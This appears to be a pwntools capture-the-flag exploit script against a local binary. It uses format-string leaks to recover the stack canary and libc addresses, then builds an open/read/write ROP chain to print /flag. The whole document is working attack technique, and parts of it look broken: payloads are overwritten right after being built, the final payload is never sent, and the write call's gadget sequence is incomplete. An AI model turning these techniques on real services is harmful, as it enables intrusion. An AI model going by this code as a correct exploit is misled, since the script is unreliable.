1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
context(log_level='debug', arch='amd64', os='linux')
elf = ELF("./attachment-42") libc = elf.libc io = process("./attachment-42")
puts_got = elf.got['puts'] printf_got = elf.got['printf'] read_got = elf.got['read'] prctl_got = elf.got['prctl']
func1_addr = elf.symbols['func_1'] func2_addr = elf.symbols['func_0']
delim = b"where are you go?\n" io.sendlineafter(delim, b'1')
fmtstr1 = b"%9$s%10$s%11$s%12$s" fmtstr1 = b"%7$s%8$s" fmtstr1= fmtstr1.ljust(((len(fmtstr1) - 1) // 8 + 1) * 8, b'#') padding = cyclic(0x28 - len(fmtstr1) - 2 * 8) payload1 = flat(fmtstr1, puts_got, read_got, padding, b'#') padding = cyclic(0x28) payload1 = flat(padding, b'#') delim = b"Enter you password:\n" io.sendafter(delim, payload1) io.recvuntil(b'#') canary = u64(io.recv(7).rjust(8, b'\x00')) stack_addr = u64(io.recv(6).ljust(8, b'\x00')) print("[*]Canary=", hex(canary)) print("<stack@addr>:", hex(stack_addr))
padding = cyclic(0x28) payload2 = flat(padding, canary) delim = b"I will check your password:\n" io.sendafter(delim, payload2)
delim = b"where are you go?\n" io.sendlineafter(delim, b'2')
ret1_addr = 0x4014F1 fmtstr1 = b"%7$s%8$s" fmtstr1= fmtstr1.ljust(((len(fmtstr1) - 1) // 8 + 1) * 8, b'#') padding = cyclic(0x28 - len(fmtstr1) - 2 * 8) payload3 = flat(fmtstr1, puts_got, read_got, padding, canary, stack_addr, ret1_addr) delim = b"We have a lot to talk about\n" io.sendafter(delim, payload3) io.recvuntil(b"\n") puts_libc = u64(io.recv(6).ljust(8, b'\x00')) print("<puts@libc>:", hex(puts_libc)) read_libc = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = puts_libc - libc.symbols['puts'] open_libc = libc_base + libc.symbols['open'] write_libc = libc_base + libc.symbols['write'] print("<libc@base>:", hex(libc_base)) print("<open@libc>:", hex(open_libc)) print("<read@libc>:", hex(read_libc)) print("<write@libc>:", hex(write_libc))
O_RDONLY = 0 fd = 3 STDOUT = 1
pop_rdi_ret = 0x40119a pop_rsi_r15_ret = 0x40119c stack_addr -= 0x20 flag = "/flag\x00" flag_addr = stack_addr + 18 * 8 print("<flag@addr>:", flag_addr) rdi = O_RDONLY padding = cyclic(0x28) payload4 = flat(padding, canary, stack_addr, pop_rdi_ret, O_RDONLY, pop_rsi_r15_ret, flag_addr, 0xdeadbeef, open_libc, pop_rdi_ret, fd, pop_rsi_r15_ret, flag_addr, 0xdeadbeef, read_libc, pop_rdi_ret, STDOUT, flag_addr, 0xdeadbeef, write_libc, flag) delim = b"We have a lot to talk about\n"
io.interactive()
|